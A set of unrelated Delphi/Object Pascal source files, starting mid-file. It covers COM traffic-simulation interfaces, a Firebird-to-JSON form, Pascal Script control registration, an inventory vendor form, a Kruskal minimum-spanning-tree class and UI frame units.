idEntrance: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method _EndFares(
idEntrance: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method _NewSignalState(
idSignal: Integer;
dTime: Double;
ulState: UInt32
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method _Departure(
idVehicle: Integer;
dTime: Double
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method _Parked(
idVehicle: Integer;
dTime: Double
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method _Stalled(
idVehicle: Integer;
dTime: Double;
bStallled: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method _Arrival(
idVehicle: Integer;
dTime: Double
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method _NewLane(
idVehicle: Integer;
idLane: Integer;
dTime: Double
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method _NewSegment(
idVehicle: Integer;
idSegment: Integer;
dTime: Double
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method _NewLink(
idVehicle: Integer;
idLink: Integer;
dTime: Double
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method _NewPath(
idVehicle: Integer;
idPath: Integer;
iPosition: Integer;
dTime: Double
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method _TransitStop(
dTime: Double;
idVehicle: Integer;
idRoute: Integer;
idStop: Integer;
nMaxCapacity: Int16;
nPassengers: Int16;
fSchedDev: Single;
fDwellTime: Single;
out pDwellTime: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method _AVL(
idVehicle: Integer;
iClass: Int16;
nOccupants: Int16;
iType: Int16;
var pLocation: STsmCoord3
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method _LinkCost(
iClass: Int16;
nOccupancy: Int16;
iGroup: Int16;
ulType: UInt32;
dTime: Double;
idxFromLink: Integer;
idxLink: Integer;
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method _GetProperty(
idVehicle: Integer;
iCol: Int16;
out pVal: VARIANT
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method _SetProperty(
idVehicle: Integer;
iCol: Int16;
newVal: VARIANT
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method _OnNewTraffficControl: HRESULT;
end;
CoTsmApplication = public class
public
class method Create: ITsmApplication;
begin
result := CreateComObject(CLASS_TsmApplication) as ITsmApplication;
end;
end;
CoTsmAttributes = public class
public
class method Create: ITsmAttributes;
begin
result := CreateComObject(CLASS_TsmAttributes) as ITsmAttributes;
end;
end;
end.
|
unit uMain;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, FireDAC.Stan.Intf, FireDAC.Stan.Option,
FireDAC.Stan.Error, FireDAC.UI.Intf, FireDAC.Phys.Intf, FireDAC.Stan.Def,
FireDAC.Stan.Pool, FireDAC.Stan.Async, FireDAC.Phys, FireDAC.Phys.FB,
FireDAC.Phys.FBDef, FireDAC.Stan.Param, FireDAC.DatS, FireDAC.DApt.Intf,
FireDAC.DApt, FireDAC.VCLUI.Wait, Vcl.StdCtrls, FireDAC.Comp.UI,
FireDAC.Phys.IBBase, Data.DB, FireDAC.Comp.DataSet, FireDAC.Comp.Client,
Datasnap.DBClient,
System.Variants,
System.Classes,
System.JSON,
DataSet.Serialize;
type
TFrmFBtoJSON = class(TForm)
DBCon: TFDConnection;
FDQuery: TFDQuery;
FBDriverLink: TFDPhysFBDriverLink;
WaitCursor: TFDGUIxWaitCursor;
MemoQuery: TMemo;
Label1: TLabel;
MemoJson: TMemo;
Label2: TLabel;
BtnGenJson: TButton;
DSCustom: TClientDataSet;
procedure FormCreate(Sender: TObject);
procedure BtnGenJsonClick(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
procedure GenerateJson;
end;
var
FrmFBtoJSON: TFrmFBtoJSON;
implementation
{$R *.dfm}
procedure TFrmFBtoJSON.BtnGenJsonClick(Sender: TObject);
begin
GenerateJson;
end;
procedure TFrmFBtoJSON.FormCreate(Sender: TObject);
begin
DBCon.Connected := true;
end;
procedure TFrmFBtoJSON.GenerateJson;
var
JsonArray: TJSONArray;
begin
FDQuery.Active := false;
FDQuery.SQL := MemoQuery.Lines;
FDQuery.Active := true;
JsonArray := FDQuery.ToJSONArray();
MemoJson.Lines.Text := JsonArray.Format;
end;
end.
|
procedure SIRegisterTLISTBOX(Cl: TPSPascalCompiler);
begin
with Cl.AddClassN(cl.FindClass('TCUSTOMLISTBOX'), 'TLISTBOX') do
begin
RegisterProperty('BORDERSTYLE', 'TBorderStyle', iptrw);
RegisterProperty('COLOR', 'TColor', iptrw);
RegisterProperty('FONT', 'TFont', iptrw);
RegisterProperty('MULTISELECT', 'Boolean', iptrw);
RegisterProperty('PARENTCOLOR', 'Boolean', iptrw);
RegisterProperty('PARENTFONT', 'Boolean', iptrw);
RegisterProperty('SORTED', 'Boolean', iptrw);
RegisterProperty('STYLE', 'TListBoxStyle', iptrw);
RegisterProperty('ONCLICK', 'TNotifyEvent', iptrw);
RegisterProperty('ONDBLCLICK', 'TNotifyEvent', iptrw);
RegisterProperty('ONENTER', 'TNotifyEvent', iptrw);
RegisterProperty('ONEXIT', 'TNotifyEvent', iptrw);
RegisterProperty('ONKEYDOWN', 'TKeyEvent', iptrw);
RegisterProperty('ONKEYPRESS', 'TKeyPressEvent', iptrw);
RegisterProperty('ONKEYUP', 'TKeyEvent', iptrw);
{$IFNDEF PS_MINIVCL}
RegisterProperty('COLUMNS', 'Integer', iptrw);
RegisterProperty('CTL3D', 'Boolean', iptrw);
RegisterProperty('DRAGCURSOR', 'Longint', iptrw);
RegisterProperty('DRAGMODE', 'TDragMode', iptrw);
RegisterProperty('EXTENDEDSELECT', 'Boolean', iptrw);
RegisterProperty('INTEGRALHEIGHT', 'Boolean', iptrw);
RegisterProperty('ITEMHEIGHT', 'Integer', iptrw);
RegisterProperty('PARENTCTL3D', 'Boolean', iptrw);
RegisterProperty('PARENTSHOWHINT', 'Boolean', iptrw);
RegisterProperty('POPUPMENU', 'TPopupMenu', iptrw);
RegisterProperty('TABWIDTH', 'Integer', iptrw);
RegisterProperty('ONDRAGDROP', 'TDragDropEvent', iptrw);
RegisterProperty('ONDRAGOVER', 'TDragOverEvent', iptrw);
RegisterProperty('ONDRAWITEM', 'TDrawItemEvent', iptrw);
RegisterProperty('ONENDDRAG', 'TEndDragEvent', iptrw);
RegisterProperty('ONMEASUREITEM', 'TMeasureItemEvent', iptrw);
RegisterProperty('ONMOUSEDOWN', 'TMouseEvent', iptrw);
RegisterProperty('ONMOUSEMOVE', 'TMouseMoveEvent', iptrw);
RegisterProperty('ONMOUSEUP', 'TMouseEvent', iptrw);
RegisterProperty('ONSTARTDRAG', 'TStartDragEvent', iptrw);
{$ENDIF}
end;
end;
procedure SIRegisterTSCROLLBAR(Cl: TPSPascalCompiler);
begin
with Cl.AddClassN(cl.FindClass('TWINCONTROL'), 'TSCROLLBAR') do
begin
RegisterProperty('KIND', 'TSCROLLBARKIND', iptrw);
RegisterProperty('MAX', 'INTEGER', iptrw);
RegisterProperty('MIN', 'INTEGER', iptrw);
RegisterProperty('POSITION', 'INTEGER', iptrw);
RegisterProperty('ONCHANGE', 'TNOTIFYEVENT', iptrw);
RegisterProperty('ONENTER', 'TNotifyEvent', iptrw);
RegisterProperty('ONEXIT', 'TNotifyEvent', iptrw);
{$IFNDEF PS_MINIVCL}
RegisterMethod('procedure SETPARAMS(APOSITION,AMIN,AMAX:INTEGER)');
RegisterProperty('CTL3D', 'Boolean', iptrw);
RegisterProperty('DRAGCURSOR', 'Longint', iptrw);
RegisterProperty('DRAGMODE', 'TDragMode', iptrw);
RegisterProperty('LARGECHANGE', 'TSCROLLBARINC', iptrw);
RegisterProperty('PARENTCTL3D', 'Boolean', iptrw);
RegisterProperty('PARENTSHOWHINT', 'Boolean', iptrw);
RegisterProperty('POPUPMENU', 'TPopupMenu', iptrw);
RegisterProperty('SMALLCHANGE', 'TSCROLLBARINC', iptrw);
RegisterProperty('ONDRAGDROP', 'TDragDropEvent', iptrw);
RegisterProperty('ONDRAGOVER', 'TDragOverEvent', iptrw);
RegisterProperty('ONENDDRAG', 'TEndDragEvent', iptrw);
RegisterProperty('ONKEYDOWN', 'TKeyEvent', iptrw);
RegisterProperty('ONKEYPRESS', 'TKeyPressEvent', iptrw);
RegisterProperty('ONKEYUP', 'TKeyEvent', iptrw);
RegisterProperty('ONSCROLL', 'TSCROLLEVENT', iptrw);
RegisterProperty('ONSTARTDRAG', 'TStartDragEvent', iptrw);
{$ENDIF}
end;
end;
procedure SIRegister_StdCtrls_TypesAndConsts(cl: TPSPascalCompiler);
begin
cl.AddTypeS('TEditCharCase', '(ecNormal, ecUpperCase, ecLowerCase)');
cl.AddTypeS('TScrollStyle', '(ssNone, ssHorizontal, ssVertical, ssBoth)');
cl.AddTypeS('TComboBoxStyle', '(csDropDown, csSimple, csDropDownList, csOwnerDrawFixed, csOwnerDrawVariable)');
cl.AddTypeS('TDrawItemEvent', 'procedure(Control: TWinControl; Index: Integer; Rect: TRect; State: Byte)');
cl.AddTypeS('TMeasureItemEvent', 'procedure(Control: TWinControl; Index: Integer; var Height: Integer)');
cl.AddTypeS('TCheckBoxState', '(cbUnchecked, cbChecked, cbGrayed)');
cl.AddTypeS('TListBoxStyle', '(lbStandard, lbOwnerDrawFixed, lbOwnerDrawVariable)');
cl.AddTypeS('TScrollCode', '(scLineUp, scLineDown, scPageUp, scPageDown, scPosition, scTrack, scTop, scBottom, scEndScroll)');
cl.AddTypeS('TScrollEvent', 'procedure(Sender: TObject; ScrollCode: TScrollCode;var ScrollPos: Integer)');
Cl.addTypeS('TEOwnerDrawState', '(odSelected, odGrayed, odDisabled, odChecked,'
+' odFocused, odDefault, odHotLight, odInactive, odNoAccel, odNoFocusRect,'
+' odReserved1, odReserved2, odComboBoxEdit)');
cl.AddTypeS('TTextLayout', '( tlTop, tlCenter, tlBottom )');
cl.AddTypeS('TOwnerDrawState', 'set of TEOwnerDrawState');
end;
procedure SIRegister_stdctrls(cl: TPSPascalCompiler);
begin
SIRegister_StdCtrls_TypesAndConsts(cl);
{$IFNDEF PS_MINIVCL}
SIRegisterTCUSTOMGROUPBOX(Cl);
SIRegisterTGROUPBOX(Cl);
{$ENDIF}
SIRegisterTCUSTOMLABEL(Cl);
SIRegisterTLABEL(Cl);
SIRegisterTCUSTOMEDIT(Cl);
SIRegisterTEDIT(Cl);
SIRegisterTCUSTOMMEMO(Cl);
SIRegisterTMEMO(Cl);
SIRegisterTCUSTOMCOMBOBOX(Cl);
SIRegisterTCOMBOBOX(Cl);
SIRegisterTBUTTONCONTROL(Cl);
SIRegisterTBUTTON(Cl);
SIRegisterTCUSTOMCHECKBOX(Cl);
SIRegisterTCHECKBOX(Cl);
SIRegisterTRADIOBUTTON(Cl);
SIRegisterTCUSTOMLISTBOX(Cl);
SIRegisterTLISTBOX(Cl);
{$IFNDEF PS_MINIVCL}
SIRegisterTSCROLLBAR(Cl);
{$ENDIF}
end;
// PS_MINIVCL changes by Martijn Laan (mlaan at wintax _dot_ nl)
end.
|
unit RouleItem;
interface
type
TRouleItem = class
private
FPath: string;
FName: string;
FAction: TClass;
procedure SetAction(const Value: TClass);
procedure SetName(const Value: string);
procedure SetPath(const Value: string);
public
property Name: string read FName write SetName;
property ACtion: TClass read FAction write SetAction;
property path: string read FPath write SetPath;
end;
implementation
{ TRouleItem }
procedure TRouleItem.SetAction(const Value: TClass);
begin
FAction := Value;
end;
procedure TRouleItem.SetName(const Value: string);
begin
FName := Value;
end;
procedure TRouleItem.SetPath(const Value: string);
begin
FPath := Value;
end;
end.
|
(*
-----------------------------------------------------------------------------------------------------
Version : (288 - 279)
Date : 01.28.2011
Author : Antonio Marcos Fernandes de Souza (amfsouza)
Issue : wrong format to decimal places
Solution: I pointed correct parameters
Version : (288 - 280)
-----------------------------------------------------------------------------------------------------
*)
unit uNewFornecedor;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
PaideTodosGeral, StdCtrls, Mask, ExtCtrls, Buttons, Variants,
SuperComboADO, siComp, siLangRT, Grids, DBGrids, SMDBGrid, DB, ADODB,
SuperEdit, SuperEditCurrency;
type
TNewFornecedor = class(TFrmParentAll)
btOK: TButton;
cmbFornecedor: TSuperComboADO;
Label1: TLabel;
edQtyToOrder: TEdit;
lbQtyToOrder: TLabel; // Antonio 2013 Dec 04, MR-127
lbNeedQty: TLabel;
lbQtyType: TLabel;
Label2: TLabel;
edCaseQty: TEdit;
Panel17: TPanel;
btnDelVCode: TSpeedButton;
btAddVendorCode: TSpeedButton;
pnlVendorCode: TPanel;
grdVendorCode: TSMDBGrid;
quVendorCode: TADOQuery;
quVendorCodeIDVendorModelCode: TIntegerField;
quVendorCodeIDPessoa: TIntegerField;
quVendorCodeIDModel: TIntegerField;
quVendorCodeVendor: TStringField;
quVendorCodeVendorCode: TStringField;
dsVendorCode: TDataSource;
quModelVendorInfo: TADOQuery;
quModelVendorInfoVendorOrder: TIntegerField;
quModelVendorInfoMinQtyPO: TFloatField;
quModelVendorInfoCaseQty: TFloatField;
lbVendorCost: TLabel;
edtVendorCost: TSuperEditCurrency;
edtDate: TEdit;
quModelVendorInfoVendorCost: TBCDField;
quModelVendorInfoCostLastChange: TDateTimeField;
cbxDoNotOrder: TCheckBox;
quModelVendorInfoDoNotOrder: TBooleanField;
procedure FormShow(Sender: TObject);
procedure btOKClick(Sender: TObject);
procedure btCloseClick(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure cmbFornecedorSelectItem(Sender: TObject);
procedure edQtyToOrderKeyPress(Sender: TObject; var Key: Char);
procedure btAddVendorCodeClick(Sender: TObject);
procedure btnDelVCodeClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure edtVendorCostKeyPress(Sender: TObject; var Key: Char);
private
FIDVendor,
FIDModel: Integer;
FIsNew : Boolean;
FquModelVendor : TADOQuery;
function ValidateQtyMinimum: Boolean;
procedure OpenVendorModelCode;
procedure CloseVendorModelCode;
procedure RefreshVendorCode;
procedure OpenVendorInfor;
procedure CloseVendorInfor;
public
function Start(IDVendor, IDModel: Integer; AquModelVendor : TADOQuery) : Boolean;
end;
implementation
uses uDM, uMsgBox, uMsgConstant, uDMGlobal, uCharFunctions, uNewFornecedorCode,
uNumericFunctions;
{$R *.DFM}
function TNewFornecedor.Start(IDVendor, IDModel: Integer; AquModelVendor : TADOQuery) : Boolean;
begin
FIDVendor := IDVendor;
FIDModel := IDModel;
FIsNew := (IDVendor = -1);
FquModelVendor := AquModelVendor;
cmbFornecedor.LookUpValue := '';
if not FIsNew then
begin
cmbFornecedor.ReadOnly := True;
cmbFornecedor.Enabled := False;
cmbFornecedor.LookUpValue := IntToStr(IDVendor);
RefreshVendorCode;
OpenVendorInfor;
CloseVendorInfor;
end;
Result := (ShowModal = mrOK);
end;
procedure TNewFornecedor.FormShow(Sender: TObject);
begin
inherited;
if FIsNew then
cmbFornecedor.SetFocus
else
edQtyToOrder.SetFocus;
//amfsouza 01.28.2011 - to correct format.
edtVendorCost.DisplayFormat := DM.FQtyDecimalFormat;
end;
procedure TNewFornecedor.btOKClick(Sender: TObject);
var
QtyToOrder, CaseQty : Double;
VendorCost, CostDate : String;
iOrder : Integer;
sSQL : String;
DoNotOrder: Byte; //YAA April 30th, 2012: Added
begin
inherited;
if cmbFornecedor.LookUpValue = '' then
begin
MsgBox(MSG_CRT_NO_VENDOR, vbOKOnly + vbInformation);
Exit;
end;
if not ValidateQtyMinimum then
Exit;
try
VendorCost := MyFormatCur(StrToFloat(edtVendorCost.Text), '.')
except
VendorCost := 'NULL';
CostDate := QuotedStr(FormatDateTime('yyyy-mm-dd hh:mm', Now));
end;
try
CostDate := QuotedStr(FormatDateTime('yyyy-mm-dd hh:mm', StrToDateTime(edtDate.Text)));
except
CostDate := 'GetDate()';
end;
//*** YAA April 30th, 2012: Added. To be used in the queries below ***
if cbxDoNotOrder.Checked then
DoNotOrder:= 1
else
DoNotOrder:= 0;
//********************************************************************
if FIsNew then
begin
if StrToIntDef(cmbFornecedor.LookUpValue, 0) <> 0 then
begin
if not FquModelVendor.Active then
begin
FquModelVendor.Parameters.ParamByName('IDModel').Value := FIDModel;
FquModelVendor.Open;
end;
FquModelVendor.First;
FIDVendor := StrToInt(cmbFornecedor.LookUpValue);
QtyToOrder := MyStrToDouble(edQtyToOrder.Text);
CaseQty := MyStrToDouble(edCaseQty.Text);
if not FquModelVendor.Locate('IDModel;IDPessoa', VarArrayOf([IntToStr(FIDModel), IntToStr(FIDVendor)]), []) then
begin
FquModelVendor.Last;
iOrder := FquModelVendor.FieldByName('VendorOrder').AsInteger + 1;
//YAA April 30th, 2012: This query is to be replaced with the one below
//sSQL := 'INSERT Inv_ModelVendor (IDModel, IDPessoa, VendorOrder, MinQtyPO, CaseQty, VendorCost, CostLastChange) ' +
// ' VALUES ( ' + IntToStr(FIDModel) + ' , ' +
// IntToStr(FIDVendor) + ' , ' +
// IntToStr(iOrder) + ' , ' + MyFormatCur(QtyToOrder, '.') + ' , ' + MyFormatCur(CaseQty, '.') + ' , ' + VendorCost +' , ' + CostDate +' ) ';
//YAA April 30th, 2012: This query replaced the one above
sSQL := 'INSERT Inv_ModelVendor (IDModel, IDPessoa, VendorOrder, MinQtyPO, CaseQty, VendorCost, CostLastChange, DoNotOrder) ' +
' VALUES ( ' + IntToStr(FIDModel) + ' , ' +
IntToStr(FIDVendor) + ' , ' +
IntToStr(iOrder) + ' , ' + MyFormatCur(QtyToOrder, '.') + ' , ' + MyFormatCur(CaseQty, '.') + ' , ' + VendorCost +' , ' + CostDate +' , ' + IntToStr(DoNotOrder) +' ) ';
DM.RunSQL(sSQL);
end;
end;
end
else
begin
QtyToOrder := MyStrToDouble(edQtyToOrder.Text);
CaseQty := MyStrToDouble(edCaseQty.Text);
sSQL := 'UPDATE Inv_ModelVendor ' +
' SET MinQtyPO = ' + MyFormatCur(QtyToOrder, '.') +
' ,CaseQty = ' + FloatToStr(CaseQty) +
' ,VendorCost = ' + VendorCost +
' ,CostLastChange = ' + CostDate +
' ,DoNotOrder = ' + IntToStr(DoNotOrder) + //YAA April 30th, 2012: Added one more field to update
' WHERE IDModel = ' + IntToStr(FIDModel) +
' AND IDPessoa = ' + IntToStr(FIDVendor);
DM.RunSQL(sSQL);
end;
ModalResult := mrOK;
end;
function TNewFornecedor.ValidateQtyMinimum: Boolean;
begin
Result := False;
if (edQtyToOrder.Text = '0') or (edQtyToOrder.Text = '') then
begin
MsgBox(MSG_INF_QTY_MUST_BIGGER_ZERO, vbOKOnly + vbInformation);
edQtyToOrder.SetFocus;
Exit;
end;
Result := True;
end;
procedure TNewFornecedor.btCloseClick(Sender: TObject);
var
sSQL : String;
begin
inherited;
if FIsNew then
begin
sSQL := 'DELETE VendorModelCode WHERE IDPessoa = ' + IntToStr(FIDVendor) +
' AND IDModel = ' + IntToStr(FIDModel);
DM.RunSQL(sSQL);
end;
ModalResult := mrCancel;
end;
procedure TNewFornecedor.FormClose(Sender: TObject; var Action: TCloseAction);
begin
inherited;
CloseVendorInfor;
CloseVendorModelCode;
Action := caFree;
end;
procedure TNewFornecedor.cmbFornecedorSelectItem(Sender: TObject);
begin
inherited;
if cmbFornecedor.Text <> '' then
btOK.Enabled := True;
end;
procedure TNewFornecedor.edQtyToOrderKeyPress(Sender: TObject;
var Key: Char);
begin
inherited;
Key := ValidateQty(Key);
end;
procedure TNewFornecedor.btAddVendorCodeClick(Sender: TObject);
begin
inherited;
FIDVendor := StrToIntDef(cmbFornecedor.LookUpValue, 0);
if FIDVendor <> 0 then
with TNewFornecedorCode.Create(Self) do
if Start(FIDModel, FIDVendor) then
begin
RefreshVendorCode;
cmbFornecedor.ReadOnly := True;
cmbFornecedor.Enabled := False;
end;
end;
procedure TNewFornecedor.btnDelVCodeClick(Sender: TObject);
begin
inherited;
if (quVendorCode.Active) and (quVendorCodeIDVendorModelCode.AsInteger <> 0) then
begin
DM.RunSQL('DELETE VendorModelCode WHERE IDVendorModelCode = ' + quVendorCodeIDVendorModelCode.AsString);
RefreshVendorCode;
end;
end;
procedure TNewFornecedor.CloseVendorModelCode;
begin
with quVendorCode do
if Active then
Close;
end;
procedure TNewFornecedor.OpenVendorModelCode;
begin
with quVendorCode do
if not Active then
begin
Parameters.ParamByName('IDModel').Value := FIDModel;
Parameters.ParamByName('IDVendor').Value := FIDVendor;
Open;
end;
end;
procedure TNewFornecedor.RefreshVendorCode;
begin
CloseVendorModelCode;
OpenVendorModelCode;
end;
procedure TNewFornecedor.FormCreate(Sender: TObject);
begin
inherited;
DM.imgSmall.GetBitmap(BTN18_NEW, btAddVendorCode.Glyph);
DM.imgSmall.GetBitmap(BTN18_DELETE, btnDelVCode.Glyph);
end;
procedure TNewFornecedor.CloseVendorInfor;
begin
with quModelVendorInfo do
if Active then
Close;
end;
procedure TNewFornecedor.OpenVendorInfor;
begin
with quModelVendorInfo do
if not Active then
begin
Parameters.ParamByName('IDModel').Value := FIDModel;
Parameters.ParamByName('IDVendor').Value := FIDVendor;
Open;
if not IsEmpty then
begin
edQtyToOrder.Text := quModelVendorInfoMinQtyPO.AsString;
//*** YAA April 30th, 2012: Added
cbxDoNotOrder.Checked:= quModelVendorInfoDoNotOrder.Value;
//**************************
edCaseQty.Text := quModelVendorInfoCaseQty.AsString;
edtVendorCost.Text := FormatFloat('#,##0.00', quModelVendorInfoVendorCost.AsCurrency);
edtDate.Text := FormatDateTime('ddddd hh:nn', quModelVendorInfoCostLastChange.AsDateTime);
end;
end;
end;
procedure TNewFornecedor.edtVendorCostKeyPress(Sender: TObject;
var Key: Char);
begin
inherited;
edtDate.Text := FormatDateTime('ddddd hh:nn', Now);
end;
end.
|
unit DSA.Graph.KruskalMST;
interface
uses
System.SysUtils,
System.Rtti,
DSA.Interfaces.DataStructure,
DSA.Interfaces.Comparer,
DSA.Tree.PriorityQueue,
DSA.Tree.UnionFind6,
DSA.List_Stack_Queue.ArrayList,
DSA.Graph.Edge;
type
TKruskalMST<T> = class
private type
TArr_bool = TArray<boolean>;
TEdge_T = TEdge<T>;
TPriorityQueue = TPriorityQueue<TEdge_T>;
TList_Edge = TArrayList<TEdge_T>;
TArrEdge = TArray<TEdge_T>;
TWeightGraph_T = TWeightGraph<T>;
var
__pq: TPriorityQueue; // 最小堆, 算法辅助数据结构
__mstList: TList_Edge; // 最小生成树所包含的所有边
__mstWeight: T; // 最小生成树的权值
public
constructor Create(g: TWeightGraph_T);
destructor Destroy; override;
/// <summary> 返回最小生成树的所有边 </summary>
function MstEdges: TArrEdge;
/// <summary> 返回最小生成树的权值 </summary>
function Weight: T;
end;
procedure Main;
implementation
uses
DSA.Graph.DenseWeightedGraph,
DSA.Graph.SparseWeightedGraph,
DSA.Utils;
type
TDenseWeightedGraph_dbl = TDenseWeightedGraph<double>;
TSparseWeightedGraph_dbl = TSparseWeightedGraph<double>;
TWeightGraph_dbl = TWeightGraph<double>;
TReadGraphWeight_dbl = TReadGraphWeight<double>;
TKruskalMST_dbl = TKruskalMST<double>;
procedure Main;
var
fileName: string;
v, i: integer;
g: TWeightGraph_dbl;
lazyPrimMst: TKruskalMST_dbl;
mst: TKruskalMST_dbl.TArrEdge;
begin
fileName := WEIGHT_GRAPH_FILE_NAME_1;
v := 8;
begin
g := TDenseWeightedGraph_dbl.Create(v, False);
TReadGraphWeight_dbl.Execute(g, FILE_PATH + fileName);
// Test Lazy Prim MST
WriteLn('Test Kruskal MST:');
lazyPrimMst := TKruskalMST_dbl.Create(g);
mst := lazyPrimMst.MstEdges;
for i := 0 to high(mst) do
WriteLn(mst[i].ToString);
WriteLn('The Dense Graph MST weight is: ', lazyPrimMst.Weight.ToString);
end;
TDSAUtils.DrawLine;
begin
g := TSparseWeightedGraph_dbl.Create(v, False);
TReadGraphWeight_dbl.Execute(g, FILE_PATH + fileName);
// Test Lazy Prim MST
WriteLn('Test Kruskal MST:');
lazyPrimMst := TKruskalMST_dbl.Create(g);
mst := lazyPrimMst.MstEdges;
for i := 0 to high(mst) do
WriteLn(mst[i].ToString);
WriteLn('The Sparse Graph MST weight is: ', lazyPrimMst.Weight.ToString);
end;
end;
{ TKruskalMST<T> }
constructor TKruskalMST<T>.Create(g: TWeightGraph_T);
var
v, i: integer;
e: TEdge_T;
uf: TUnionFind6;
wt: Variant;
begin
__mstList := TList_Edge.Create;
__pq := TPriorityQueue.Create(TQueueKind.Min);
// 将图中的所有边存放到一个最小优先队列中
for v := 0 to g.Vertex - 1 do
begin
for e in g.AdjIterator(v) do
begin
if e.VertexA < e.VertexB then
__pq.EnQueue(e);
end;
end;
// 创建一个并查集, 来查看已经访问的节点的联通情况
uf := TUnionFind6.Create(g.Vertex);
while not __pq.IsEmpty do
begin
// 从最小堆中依次从小到大取出所有的边
e := __pq.DeQueue;
// 如果该边的两个端点是联通的, 说明加入这条边将产生环, 扔掉这条边
if uf.IsConnected(e.VertexA, e.VertexB) then
Continue;
// 否则, 将这条边添加进最小生成树, 同时标记边的两个端点联通
__mstList.AddLast(e);
uf.UnionElements(e.VertexA, e.VertexB);
end;
// 计算最小生成树的权值
wt := 0;
for i := 0 to __mstList.GetSize - 1 do
begin
wt := wt + TValue.From<T>(__mstList[i].Weight).AsVariant;
end;
TValue.FromVariant(wt).ExtractRawData(@__mstWeight);
end;
destructor TKruskalMST<T>.Destroy;
begin
FreeAndNil(__pq);
FreeAndNil(__mstList);
inherited Destroy;
end;
function TKruskalMST<T>.MstEdges: TArrEdge;
begin
Result := __mstList.ToArray;
end;
function TKruskalMST<T>.Weight: T;
begin
Result := __mstWeight;
end;
end.
|
unit uSystemObj;
interface
uses uParentClass;
const
SYS_MODULE_TRIAL = 'D';
SYS_MODULE_1 = '1';
SYS_MODULE_2 = '2';
SYS_MODULE_3 = '3';
SYS_MODULE_4 = '4';
SYS_MODULE_5 = '5';
SYS_ERROR = 'E';
type
TSystem = Class(TParentClass)
private
fStartMode : Char;
fShutDownOnExit : Boolean;
fValidLicense : Boolean;
fVersion : Integer;
fBuild : Integer;
fShowTip : Boolean;
fModule : String;
fVerBuild : String;
fMRBuild : Integer;
public
property StartMode : Char read fStartMode write fStartMode;
property ShutDownOnExit : Boolean read fShutDownOnExit write fShutDownOnExit;
property ValidLicense : Boolean read fValidLicense write fValidLicense;
property Version : Integer read fVersion write fVersion;
property Build : Integer read fBuild write fBuild;
property ShowTip : Boolean read fShowTip write fShowTip;
property Module : String read fModule write fModule;
property VerBuild : String read fVerBuild write fVerBuild;
property MRBuild : Integer read fMRBuild write fMRBuild;
end;
implementation
end.
|
unit FrameTable1;
interface
{$IFDEF FPC} {$mode delphi} {$DEFINE AcqElphy2} {$A1} {$Z1} {$ENDIF}
uses
{$IFDEF FPC}
Lresources,
{$ELSE}
{$ENDIF}
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, Grids, StdCtrls, ExtCtrls,
editCont,util1,selectCells1,
debug0;
type
Tcell = class;
TgetCell=function (Acol,Arow:integer):Tcell of object;
TselectCell=procedure (Acol,Arow:integer) of object;
TDblClickCell=procedure(rectCell:Trect;col1,row1:integer) of object;
TchangeColWidth=procedure(n,w:integer) of object;
TTableFrame = class(TFrame)
DrawGrid1: TDrawGrid;
ColorDialog1: TColorDialog;
procedure DrawGrid1DrawCell(Sender: TObject; ACol, ARow: Integer;
Rect: TRect; State: TGridDrawState);
procedure DrawGrid1SelectCell(Sender: TObject; ACol, ARow: Integer;
var CanSelect: Boolean);
procedure DrawGrid1TopLeftChanged(Sender: TObject);
procedure DrawGrid1MouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
procedure DrawGrid1DblClick(Sender: TObject);
private
{ Déclarations privées }
curCell:Tcell;
DefaultCell:Tcell;
getCell:TgetCell;
FcolW: array of integer;
procedure setColW(n:integer;w:integer);
function getColW(n:integer):integer;
property ColW[n:integer]:integer read getColW write SetColW;
function cell(Acol,Arow:integer):Tcell;
procedure SetCanvasDefault(state: TGridDrawState );
function GetGridColorDefault(state:TGridDrawState): integer;
public
{ Déclarations publiques }
OnSelectCell:TselectCell;
OnDblClickCell:TDblClickCell;
OnMouseDownCell:TDblClickCell;
OnChangeColWidth: TChangeColWidth;
FcanEdit:boolean;
Fdestroying: boolean;
GetGridColor: function (col,row:integer;Fsel:boolean):integer of object;
constructor create(owner:Tcomponent);override;
procedure init(Ncol,Nrow,NfixCol,NfixRow:integer;func:TgetCell);
function SumOfWidths:integer;
procedure invalidate;override;
function selectGroup:boolean;
function rowCount:integer;
function ColCount:integer;
procedure AppendRow;
procedure DeleteRow;
end;
TinitCell=procedure (Acol,Arow:integer) of object;
Tcell=class
frame:TtableFrame;
colG,rowG:integer;
colEdit,rowEdit:integer;
AlwaysEdit: boolean; // true pour les boutons permanents
constructor create(Frame1:TtableFrame);
procedure Draw(rect:Trect;State: TGridDrawState);virtual;
procedure Edit(rect:Trect);virtual;
procedure HideEdit;virtual;
procedure invalidate;virtual;
end;
TcellClass=class of Tcell;
TsetBxy=procedure(col,row:integer;x:boolean) of object;
TgetBxy=function(col,row:integer):boolean of object;
TcheckBoxCell=class(Tcell)
CB:TcheckBoxV;
Align: TAlignment;
AdData:Pboolean;
private
procedure setE(x:boolean;data1:pointer);
function getE(data1:pointer):boolean;
public
setBxy:TsetBxy;
getBxy:TgetBxy;
constructor create(Frame1:TtableFrame);
procedure Draw(rect:Trect;State: TGridDrawState);override;
procedure Edit(rect:Trect);override;
